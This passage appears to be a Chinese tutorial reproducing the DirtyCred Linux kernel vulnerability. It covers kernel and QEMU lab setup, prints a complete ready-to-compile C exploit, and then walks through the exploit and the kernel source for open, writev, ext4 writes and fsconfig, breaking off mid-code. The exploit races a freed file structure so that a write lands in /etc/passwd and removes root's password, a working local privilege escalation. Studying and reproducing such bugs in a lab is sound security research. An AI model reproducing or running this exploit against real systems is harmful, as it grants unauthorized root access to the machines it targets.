复现一下 dirty cred 漏洞
同样本篇文章采用的还是 环境配置——漏洞验证——源码分析——代码调试 这四部分。
环境配置 内核编译 选用一个漏洞存在的版本,例如 5.13.2 。
下面就是编译内核会踩得一些坑,我将完整复述一遍:
源码下载好之后,先 make menuconfig
开启调试符号,kernel hacking->kernel debugging
勾选,kernel hacking->Compile-time checks and compiler options->Compile the kernel with debug info
勾选。
保存退出之后还需要加上两个选项。
vim .config
,打开之后找到两个选项,一个是 CONFIG_FUSE_FS
另一个是 CONFIG_USER_NS
,这两个选项都需要启动,默认生成的 config
应该是没有启用这两个选项的。
配置完成之后就可以开始编译了。
编译完成之后,在本目录下得到带完整符号的 vmlinux
,在 arch/x86/boot/
得到启动内核 bzImage
文件系统编译 依然是采用 busybox,方法和之前是一致的,看我最开始的环境搭建 即可,这里可以提前把 EXP 编译进去然后打包文件系统。
启动脚本 就是传说中的 start.sh
这里给大家参考一下我的 qemu 启动参数。
1 2 3 4 5 6 7 8 9 10 11 qemu-system-x86_64 \ -m 256M \ -smp 2,cores=2,threads=1\ -kernel ./bzImage \ -initrd ./rootfs.img \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"\ -cpu qemu64 \ -netdev user,id=t0, \ -device e1000,netdev=t0,id=nic0 \ -nographic \ # -s -S\
最后一行用于调试,大家不需要调试可以先注释掉,其它参数解释如下:
-m 256M
: 指定虚拟机的内存大小为 256MB。
-smp 2,cores=2,threads=1
: 指定使用 2 个 CPU,每个 CPU 拥有 2 个核心,每个核心只有一个线程。
-kernel ./bzImage
: 指定了内核文件。
-initrd ./rootfs.img
: 指定我们制作的 Linux 文件系统。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
:指定了传递给内核的启动参数。这里的 quiet 可以让内核不输出很多信息直接启动,nokaslr
一定要加,否则断点无法命中。
-cpu qemu64
: 指定使用 QEMU 的默认 x86_64 CPU 模拟器。
-netdev user,id=t0,
: 指定了用户模式网络设备。
-device e1000,netdev=t0,id=nic0
: 指定了要添加到虚拟机的网络设备。
-nographic
: 无需图形界面的情况下运行 QEMU。
现在在目录下应该有了 start.sh
,bzImage
和 rootfs.img
,文件系统可以提前打包 exp 进去。
漏洞验证 EXP验证 用网上通用的一个 EXP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 #define _GNU_SOURCE #include <endian.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <assert.h> #include <pthread.h> #include <sys/uio.h> #include <linux/bpf.h> #include <linux/kcmp.h> #include <linux/capability.h> static void die (const char *fmt, ...) { va_list params; va_start(params, fmt); vfprintf (stderr , fmt, params); va_end(params); exit (1 ); } static void use_temporary_dir (void ) { system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data" ); char *tmpdir = "exp_dir" ; if (!tmpdir) exit (1 ); if (chmod(tmpdir, 0777 )) exit (1 ); if (chdir(tmpdir)) exit (1 ); } static bool write_file (const char *file, const char *what, ...) { char buf[1024 ]; va_list args; va_start(args, what); vsnprintf(buf, sizeof (buf), what, args); va_end(args); buf[sizeof (buf) - 1 ] = 0 ; int len = strlen (buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1 ) return false ; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false ; } close(fd); return true ; } static void setup_common () { if (mount(0 , "/sys/fs/fuse/connections" , "fusectl" , 0 , 0 )) { } } static void loop () ;static void sandbox_common () { prctl(PR_SET_PDEATHSIG, SIGKILL, 0 , 0 , 0 ); setsid(); struct rlimit rlim ; rlim.rlim_cur = rlim.rlim_max = (200 << 20 ); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20 ; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20 ; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20 ; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0 ; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256 ; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL , "/" , NULL , MS_REC | MS_PRIVATE, NULL )) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000 )) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char *name; const char *value; } sysctl_t ; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax" , "16777216" }, {"/proc/sys/kernel/shmall" , "536870912" }, {"/proc/sys/kernel/shmmni" , "1024" }, {"/proc/sys/kernel/msgmax" , "8192" }, {"/proc/sys/kernel/msgmni" , "1024" }, {"/proc/sys/kernel/msgmnb" , "1024" }, {"/proc/sys/kernel/sem" , "1024 1048576 500 1024" }, }; unsigned i; for (i = 0 ; i < sizeof (sysctls) / sizeof (sysctls[0 ]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop (int pid) { if (pid < 0 ) exit (1 ); int status = 0 ; while (waitpid(-1 , &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps (void ) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data [2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit (1 ); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0 ].effective &= ~drop; cap_data[0 ].permitted &= ~drop; cap_data[0 ].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit (1 ); } static int real_uid;static int real_gid;__attribute__((aligned(64 << 10 ))) static char sandbox_stack[1 << 20 ]; static int namespace_sandbox_proc () { sandbox_common(); loop(); } static int do_sandbox_namespace () { setup_common(); real_uid = getuid(); real_gid = getgid(); mprotect(sandbox_stack, 4096 , PROT_NONE); while (1 ) { int pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof (sandbox_stack) - 64 ], CLONE_NEWUSER | CLONE_NEWPID, 0 ); if (pid == -1 ) { perror("clone" ); printf ("errno: %d\n" , errno); } int ret_status = wait_for_loop(pid); if (ret_status == 0 ) { printf ("[!] succeed\n" ); sleep(1 ); printf ("[*] checking /etc/passwd\n\n" ); printf ("[*] executing command : head -n 5 /etc/passwd\n" ); sleep(1 ); system("head -n 5 /etc/passwd" ); return 1 ; } else { printf ("[-] failed to write, retry...\n\n" ); sleep(3 ); } } } #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #define MAX_FILE_NUM 1000 int uaf_fd;int fds[MAX_FILE_NUM];int run_write = 0 ;int run_spray = 0 ;char *cwd;void *slow_write () { printf ("[*] start slow write to get the lock\n" ); int fd = open("./uaf" , 1 ); if (fd < 0 ) { perror("error open uaf file" ); exit (-1 ); } unsigned long int addr = 0x30000000 ; int offset; for (offset = 0 ; offset < 0x80000 ; offset++) { void *r = mmap((void *)(addr + offset * 0x1000 ), 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); if (r < 0 ) { printf ("allocate failed at 0x%x\n" , offset); } } assert(offset > 0 ); void *mem = (void *)(addr); memcpy (mem, "hhhhh" , 5 ); struct iovec iov [5]; for (int i = 0 ; i < 5 ; i++) { iov[i].iov_base = mem; iov[i].iov_len = (offset - 1 ) * 0x1000 ; } run_write = 1 ; if (writev(fd, iov, 5 ) < 0 ) { perror("slow write" ); } printf ("[*] write done!\n" ); } void *write_cmd () { char data[1024 ] = "root::0:0:root:/root:/bin/sh\n\n" ; struct iovec iov = {.iov_base = data, .iov_len = strlen (data)}; while (!run_write) { } run_spray = 1 ; if (writev(uaf_fd, &iov, 1 ) < 0 ) { printf ("failed to write\n" ); } printf ("[*] overwrite done! It should be after the slow write\n" ); } int spray_files () { while (!run_spray) { } int found = 0 ; printf ("[*] got uaf fd %d, start spray....\n" , uaf_fd); for (int i = 0 ; i < MAX_FILE_NUM; i++) { fds[i] = open("/etc/passwd" , O_RDONLY); if (fds[i] < 0 ) { perror("open file" ); printf ("%d\n" , i); } if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0 ) { found = 1 ; printf ("[!] found, file id %d\n" , i); for (int j = 0 ; j < i; j++) close(fds[j]); break ; } } if (found) { sleep(4 ); return 0 ; } return -1 ; } void trigger () { int fs_fd = syscall(__NR_fsopen, "cgroup" , 0 ); if (fs_fd < 0 ) { perror("fsopen" ); die("" ); } symlink("./data" , "./uaf" ); uaf_fd = open("./uaf" , 1 ); if (uaf_fd < 0 ) { die("failed to open symbolic file\n" ); } if (syscall(__NR_fsconfig, fs_fd, 5 , "source" , 0 , uaf_fd)) { perror("fsconfig" ); exit (-1 ); } close(fs_fd); } void loop () { trigger(); pthread_t p_id; pthread_create(&p_id, NULL , slow_write, NULL ); pthread_t p_id_cmd; pthread_create(&p_id_cmd, NULL , write_cmd, NULL ); exit (spray_files()); } int main (void ) { cwd = get_current_dir_name(); syscall(__NR_mmap, 0x1ffff000 ul, 0x1000 ul, 0ul , 0x32 ul, -1 , 0ul ); syscall(__NR_mmap, 0x20000000 ul, 0x1000000 ul, 7ul , 0x32 ul, -1 , 0ul ); syscall(__NR_mmap, 0x21000000 ul, 0x1000 ul, 0ul , 0x32 ul, -1 , 0ul ); use_temporary_dir(); do_sandbox_namespace(); return 0 ; }
编译命令为 gcc -g exp.c -o exp -static -lpthread
这里我很简单地将 /etc/passwd
的第一项写成 root::0:0:root:/root:/bin/sh\n\n
,去掉其中的 x
让它没有密码。
可以发现漏洞是存在的。
原理概述 通过阅读 论文原文 能大概知道 EXP 的利用思路。
步骤是先打开一个具有写权限的本地文件,对其写入内容,在写文件的时候,内核会检查你的权限,随后再去写,在检查完权限,写之前可以 free 掉这个文件再立马打开特权文件(/etc/passwd
),这样就可以达到绕过权限去写特权文件的操作了。
配合 EXP 来看看
EXP分析 从 main
函数开始,先调用 3 次 mmap 去分配内存,随后新建了一个 exp_dir
文件夹,并创建了 data
在该文件夹中。
do_sandbox_namespace setup_common
函数挂载了一个 FUSE 文件系统,但是测试下来挂载不成功也不影响 EXP 的使用,随后 mprotect 改变内存属性(这里不是很清楚为什么把栈的属性清零)。随后循环
在循环中调用 clone
去启动一个新的进程,一般来说,clone
理解为 fork
没有问题。随后子进程执行 namespace_sandbox_proc
,主进程等待子进程返回,那么来分析分析这个函数。
sandbox_common 先设置父进程死亡的信号为 SIGKILL
,然后调用 setsid()
去脱离当前终端。随后做了一系列的限制,分别为
地址空间限制(RLIMIT_AS):限制了进程的虚拟内存空间大小为 200MB。
锁定内存限制(RLIMIT_MEMLOCK):限制了进程锁定内存的大小为 32MB。
文件大小限制(RLIMIT_FSIZE):限制了进程可以创建的文件大小为 136MB。
栈大小限制(RLIMIT_STACK):限制了进程的栈大小为 1MB。
核心文件大小限制(RLIMIT_CORE):禁止了进程生成核心转储文件。
打开文件描述符数量限制(RLIMIT_NOFILE):限制了进程可以打开的文件描述符数量为 256。
然后挂载创建一个新的命名空间,将当前命名空间的根文件系统挂载点设置为私有,再创建其它的一系列的命名空间。
随后写这些内核参数文件,这样就创建了一个合适的环境。
loop trigger fsopen
打开一个文件系统 cgroup
,将 ./uaf
链接到 ./data
上,又使用 fsconfig
进行了一些配置,在这个地方已经产生了 UAF 漏洞。
然后开启了两个线程分别启动 slow_write
和 write_cmd
,主线程调用 spray_files
。分别对应论文第一张图的线程 1,2,3。
那么可以发现,主要就是由这三个线程去操作了,之前一系列是为了进行一个环境配置在造成 UAF,因为并没有权限直接更改内核的某些参数,所以直接创建新的命名空间去操作的。
slow_write 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void *slow_write () { printf ("[*] start slow write to get the lock\n" ); int fd = open("./uaf" , 1 ); if (fd < 0 ) { perror("error open uaf file" ); exit (-1 ); } unsigned long int addr = 0x30000000 ; int offset; for (offset = 0 ; offset < 0x80000 ; offset++) { void *r = mmap((void *)(addr + offset * 0x1000 ), 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); if (r < 0 ) { printf ("allocate failed at 0x%x\n" , offset); } } assert(offset > 0 ); void *mem = (void *)(addr); memcpy (mem, "hhhhh" , 5 ); struct iovec iov [5]; for (int i = 0 ; i < 5 ; i++) { iov[i].iov_base = mem; iov[i].iov_len = (offset - 1 ) * 0x1000 ; } run_write = 1 ; if (writev(fd, iov, 5 ) < 0 ) { perror("slow write" ); } printf ("[*] write done!\n" ); }
打开文件去占据内核锁,去打开 ./uaf
,至于为什么打开 uaf,稍后分析内核源码可以获得具体原因。
这里面还分配了大量内存页,并尝试将所有页面写入文件,这一步通过文献的查阅可以得知是为了减缓写文件的速度,把写文件的时间线拉长就可以提高漏洞利用的成功率。
中间在开始写之前会设置一个全局变量去启动下一个线程。
write_cmd 1 2 3 4 5 6 7 8 9 10 11 12 void *write_cmd () { char data[1024 ] = "root::0:0:root:/root:/bin/sh\n\n" ; struct iovec iov = {.iov_base = data, .iov_len = strlen (data)}; while (!run_write) { } run_spray = 1 ; if (writev(uaf_fd, &iov, 1 ) < 0 ) { printf ("failed to write\n" ); } printf ("[*] overwrite done! It should be after the slow write\n" ); }
这一步就是等到第一个线程调用 writev
的时候启动第三个线程,然后再去写指定的数据。
spray_files 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int spray_files () { while (!run_spray) { } int found = 0 ; printf ("[*] got uaf fd %d, start spray....\n" , uaf_fd); for (int i = 0 ; i < MAX_FILE_NUM; i++) { fds[i] = open("/etc/passwd" , O_RDONLY); if (fds[i] < 0 ) { perror("open file" ); printf ("%d\n" , i); } if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0 ) { found = 1 ; printf ("[!] found, file id %d\n" , i); for (int j = 0 ; j < i; j++) close(fds[j]); break ; } } if (found) { sleep(4 ); return 0 ; } return -1 ; }
连续地打开 /etc/passwd
文件,判断文件描述符和 uaf_fd
是否为同一文件,如果是那么设置 found=1
。
在这个地方触发了漏洞导致了 uaf 文件描述符写入了 /etc/passwd
文件。
源码分析 选用对应源码版本:https://elixir.bootlin.com/linux/v5.13.3/source
open 在利用中线程 1 (局部变量 fd
)和线程 2 (全局变量 uaf_fd
)都打开了一个文件(./uaf
),如果 uaf
是普通文件,那么 FMODE_ATOMIC_POS
这个标志位必定存在,但是如果是链接文件,则这里不会被设置这个标记,可以避免被卡在这个函数。
具体的代码可以查看 open
函数的调用,相关解释已加注释。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 static int do_dentry_open (struct file *f, struct inode *inode, int (*open)(struct inode *, struct file *)) { static const struct file_operations empty_fops = {}; int error; path_get(&f->f_path); f->f_inode = inode; f->f_mapping = inode->i_mapping; f->f_wb_err = filemap_sample_wb_err(f->f_mapping); f->f_sb_err = file_sample_sb_err(f); if (unlikely(f->f_flags & O_PATH)) { f->f_mode = FMODE_PATH | FMODE_OPENED; f->f_op = &empty_fops; return 0 ; } if (f->f_mode & FMODE_WRITE && !special_file(inode->i_mode)) { error = get_write_access(inode); if (unlikely(error)) goto cleanup_file; error = __mnt_want_write(f->f_path.mnt); if (unlikely(error)) { put_write_access(inode); goto cleanup_file; } f->f_mode |= FMODE_WRITER; } if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode)) f->f_mode |= FMODE_ATOMIC_POS; f->f_op = fops_get(inode->i_fop); if (WARN_ON(!f->f_op)) { error = -ENODEV; goto cleanup_all; } cleanup_all: if (WARN_ON_ONCE(error > 0 )) error = -EINVAL; fops_put(f->f_op); if (f->f_mode & FMODE_WRITER) { put_write_access(inode); __mnt_drop_write(f->f_path.mnt); } cleanup_file: path_put(&f->f_path); f->f_path.mnt = NULL ; f->f_path.dentry = NULL ; f->f_inode = NULL ; return error; }
writev 主要要分析的是 sys_writev
。
1 2 3 4 5 SYSCALL_DEFINE3(writev, unsigned long , fd, const struct iovec __user *, vec, unsigned long , vlen) { return do_writev(fd, vec, vlen, 0 ); }
深入这个函数来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static ssize_t do_writev (unsigned long fd, const struct iovec __user *vec, unsigned long vlen, rwf_t flags) { struct fd f = fdget_pos(fd); ssize_t ret = -EBADF; if (f.file) { loff_t pos, *ppos = file_ppos(f.file); if (ppos) { pos = *ppos; ppos = &pos; } ret = vfs_writev(f.file, vec, vlen, ppos, flags); if (ret >= 0 && ppos) f.file->f_pos = pos; fdput_pos(f); } if (ret > 0 ) add_wchar(current, ret); inc_syscw(current); return ret; }
看起来其实非常简单,也就是先根据文件描述符去获取 fd 结构,fd 结构里面维护了当前打开的文件的写指针和读指针,第一步先获取,然后调用 vfs_writev
去写该文件,随后释放文件结构,如果返回值 >0,则增加当前文件写入字符数(add_wchar
),增加当前系统调用次数(inc_syscw
)
同样从头到尾来看看函数定义,首先是这个获取文件结构的 fdget_pos
,
1 2 3 4 static inline struct fd fdget_pos (int fd) { return __to_fd(__fdget_pos(fd)); }
然后再深入看看 __to_fd
和 __fget_pos
函数。
1 2 3 4 static inline struct fd __to_fd (unsigned long v ){ return (struct fd){(struct file *)(v & ~3 ),v & 3 }; }
无疑 __to_fd
函数将获得的文件结构 struct file
转为 struct fd
。
__fdget_pos
就应当是根据文件描述符来获取文件结构 struct file
。
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned long __fdget_pos(unsigned int fd){ unsigned long v = __fdget(fd); struct file *file = (struct file *)(v & ~3 ); if (file && (file->f_mode & FMODE_ATOMIC_POS)) { if (file_count(file) > 1 ) { v |= FDPUT_POS_UNLOCK; mutex_lock(&file->f_pos_lock); } } return v; }
深入下去 __fdget
可以发现里面调用了 __fget_light
,第二个参数被固定为 FMODE_PATH
,对于这个函数定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #define FMODE_PATH ((__force fmode_t)0x4000) unsigned long __fdget(unsigned int fd){ return __fget_light(fd, FMODE_PATH); } static unsigned long __fget_light(unsigned int fd, fmode_t mask){ struct files_struct *files = current->files; struct file *file ; if (atomic_read (&files->count) == 1 ) { file = files_lookup_fd_raw(files, fd); if (!file || unlikely(file->f_mode & mask)) return 0 ; return (unsigned long )file; } else { file = __fget(fd, mask, 1 ); if (!file) return 0 ; return FDPUT_FPUT | (unsigned long )file; } }
这里也解释了这个宏的定义,表示文件几乎不能做任何操作比如说 READ,WRITE
,而这里的 mask
在后面分析是禁止的一些操作,比如文件具有 READ
权限但是 mask
被设置为 FMODE_READ
,那么在后续的调用中会返回 NULL
。
先获取当前进程的文件描述符表(current->files
),然后判断文件描述符表的引用计数是否为 1
(描述符表是否共享),如果是则调用 files_lookup_fd_raw
去获取文件结构指针,然后判断文件操作模式的正确性,随后返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 static inline struct file *files_lookup_fd_raw (struct files_struct *files, unsigned int fd) { struct fdtable *fdt = rcu_dereference_raw(files->fdt); if (fd < fdt->max_fds) { fd = array_index_nospec(fd, fdt->max_fds); return rcu_dereference_raw(fdt->fd[fd]); } return NULL ; }
根据注释也可以认为,需要保证文件描述符表没有被共享过,或者是持有文件锁。会返回一个 fd
表中的 struct file
结构(fdt->fd[fd]
)。
如果引用计数不为 1
,则调用 __fget
去获取指针,其中主要是调用了 __fget_files
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #define get_file_rcu_many(x, cnt) \ atomic_long_add_unless(&(x)->f_count, (cnt), 0) static struct file *__fget_files (struct files_struct *files , unsigned int fd , fmode_t mask , unsigned int refs ) { struct file *file ; rcu_read_lock(); loop: file = files_lookup_fd_rcu(files, fd); if (file) { if (file->f_mode & mask) file = NULL ; else if (!get_file_rcu_many(file, refs)) goto loop; } rcu_read_unlock(); return file; } static inline struct file *__fget (unsigned int fd , fmode_t mask , unsigned int refs ) { return __fget_files(current->files, fd, mask, refs); }
这里的 files_lookup_fd_rcu
直接可以认为是获取文件结构体的,随后判断里面是否包含禁止的模式,然后增加文件计数引用 (get_file_rcu_many
)。
回过头来看看 __fdget_pos
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned long __fdget_pos(unsigned int fd){ unsigned long v = __fdget(fd); struct file *file = (struct file *)(v & ~3 ); if (file && (file->f_mode & FMODE_ATOMIC_POS)) { if (file_count(file) > 1 ) { v |= FDPUT_POS_UNLOCK; mutex_lock(&file->f_pos_lock); } } return v; }
获取到的文件指针将最低两位置为 0(对齐),如果被设置了 FMODE_ATOMIC_POS
且 文件引用大于 1,那么上锁,到这里,才分析完 do_writev
的第一句话,来看看接下来的语句,重点是 vfs_writev
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static ssize_t do_iter_write (struct file *file, struct iov_iter *iter, loff_t *pos, rwf_t flags) { size_t tot_len; ssize_t ret = 0 ; if (!(file->f_mode & FMODE_WRITE)) return -EBADF; if (!(file->f_mode & FMODE_CAN_WRITE)) return -EINVAL; tot_len = iov_iter_count(iter); if (!tot_len) return 0 ; ret = rw_verify_area(WRITE, file, pos, tot_len); if (ret < 0 ) return ret; if (file->f_op->write_iter) ret = do_iter_readv_writev(file, iter, pos, WRITE, flags); else ret = do_loop_readv_writev(file, iter, pos, WRITE, flags); if (ret > 0 ) fsnotify_modify(file); return ret; } static ssize_t vfs_writev (struct file *file, const struct iovec __user *vec, unsigned long vlen, loff_t *pos, rwf_t flags) { struct iovec iovstack [UIO_FASTIOV ]; struct iovec *iov = iovstack; struct iov_iter iter ; ssize_t ret; ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter); if (ret >= 0 ) { file_start_write(file); ret = do_iter_write(file, &iter, pos, flags); file_end_write(file); kfree(iov); } return ret; }
首先根据 writev
的结构体解出数据和长度,然后调用 do_iter_write
去写文件,而在 do_iter_write
中可以发现,这里作权限校验了,校验了是否可写以及文件描述符是否可写,这里的两层意思分别是文件本身是否具有可写权限以及你打开的文件描述符是否包含了 O_WRITE
权限位。
随后进行写,写的过程会根据文件系统调用对应的写函数(write_iter
)
1 2 3 4 5 static inline ssize_t call_write_iter (struct file *file, struct kiocb *kio, struct iov_iter *iter) { return file->f_op->write_iter(kio, iter); }
下面是完整的调用链,感兴趣可以跟一下。
do_writev ->vfs_writev ->do_iter_write ->do_iter_readv_writev ->call_write_iter ->.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter
在这个函数里面可以看到我注释的两个位置分别对文件节点进行了上锁和解锁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 static ssize_t ext4_file_write_iter (struct kiocb *iocb, struct iov_iter *from) { struct inode *inode = file_inode(iocb->ki_filp); if (unlikely(ext4_forced_shutdown(EXT4_SB(inode->i_sb)))) return -EIO; #ifdef CONFIG_FS_DAX if (IS_DAX(inode)) return ext4_dax_write_iter(iocb, from); #endif if (iocb->ki_flags & IOCB_DIRECT) return ext4_dio_write_iter(iocb, from); else return ext4_buffered_write_iter(iocb, from); } static ssize_t ext4_buffered_write_iter (struct kiocb *iocb, struct iov_iter *from) { ssize_t ret; struct inode *inode = file_inode(iocb->ki_filp); if (iocb->ki_flags & IOCB_NOWAIT) return -EOPNOTSUPP; ext4_fc_start_update(inode); inode_lock(inode); ret = ext4_write_checks(iocb, from); if (ret <= 0 ) goto out; current->backing_dev_info = inode_to_bdi(inode); ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos); current->backing_dev_info = NULL ; out: inode_unlock(inode); ext4_fc_stop_update(inode); if (likely(ret > 0 )) { iocb->ki_pos += ret; ret = generic_write_sync(iocb, ret); } return ret; }
此时两个线程会卡在这个锁里,翻一翻时间节点,此时权限校验已经完了,第一个线程写入大量数据将第二个线程获取锁的时间,趁此机会第三个线程将 /etc/passwd
打开并将文件页面以这个 uaf
的页面使用,第二个线程获取锁之后直接将数据写入 /etc/passwd
。
所以要彻底明白这个漏洞,还需要理解前面 UAF 的成因。
fsconfig 这个系统调用太大了,只介绍它原有的含义和触发漏洞的位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 SYSCALL_DEFINE5(fsconfig, int , fd, unsigned int , cmd, const char __user *, _key, const void __user *, _value, int , aux) { struct fs_context *fc ; struct fd f ; int ret; int lookup_flags = 0 ; struct fs_parameter param = { .type = fs_value_is_undefined, }; if (fd < 0 ) return -EINVAL; switch (cmd) { case FSCONFIG_SET_FLAG: if (!_key || _value || aux) return -EINVAL; break ; case FSCONFIG_SET_STRING: if (!_key || !_value || aux) return -EINVAL; break ; case FSCONFIG_SET_BINARY: if (!_key || !_value || aux <= 0 || aux > 1024 * 1024 ) return -EINVAL; break ; case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: if (!_key || !_value || (aux != AT_FDCWD && aux < 0 )) return -EINVAL; break ; case FSCONFIG_SET_FD: if (!_key || _value || aux < 0 ) return -EINVAL; break ; case FSCONFIG_CMD_CREATE: case FSCONFIG_CMD_RECONFIGURE: if (_key || _value || aux) return -EINVAL; break ; default : return -EOPNOTSUPP; } f = fdget(fd); if (!f.file) return -EBADF; ret = -EINVAL; if (f.file->f_op != &fscontext_fops) goto out_f; fc = f.file->private_data; if (fc->ops == &legacy_fs_context_ops) { switch (cmd) { case FSCONFIG_SET_BINARY: case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: case FSCONFIG_SET_FD: ret = -EOPNOTSUPP; goto out_f; } } if (_key) { param.key = strndup_user(_key, 256 ); if (IS_ERR(param.key)) { ret = PTR_ERR(param.key); goto out_f; } } switch (cmd) { case FSCONFIG_SET_FLAG: param.type = fs_value_is_flag; break ; case FSCONFIG_SET_STRING: param.type = fs_value_is_string; param.string = strndup_user(_value, 256 ); if (IS_ERR(param.string )) { ret = PTR_ERR(param.string ); goto out_key; } param.size = strlen (param.string ); break ; case FSCONFIG_SET_BINARY: param.type = fs_value_is_blob; param.size = aux; param.blob = memdup_user_nul(_value, aux); if (IS_ERR(param.blob)) { ret = PTR_ERR(param.blob); goto out_key; } break ; case FSCONFIG_SET_PATH_EMPTY: lookup_flags = LOOKUP_EMPTY; fallthrough; case FSCONFIG_SET_PATH: param.type = fs_value_is_filename; param.name = getname_flags(_value, lookup_flags, NULL ); if (IS_ERR(param.name)) { ret = PTR_ERR(param.name); goto out_key; } param.dirfd = aux; param.size = strlen (param.name->name); break ; case FSCONFIG_SET_FD: param.type = fs_value_is_file; ret = -EBADF; param.file = fget(aux); if (!param.file) goto out_key; break ; default : break ; } ret = mutex_lock_interruptible(&fc->uapi_mutex); if (ret == 0 ) { ret = vfs_fsconfig_locked(fc, cmd, ¶m); mutex_unlock(&fc->uapi_mutex); } switch (cmd) { case 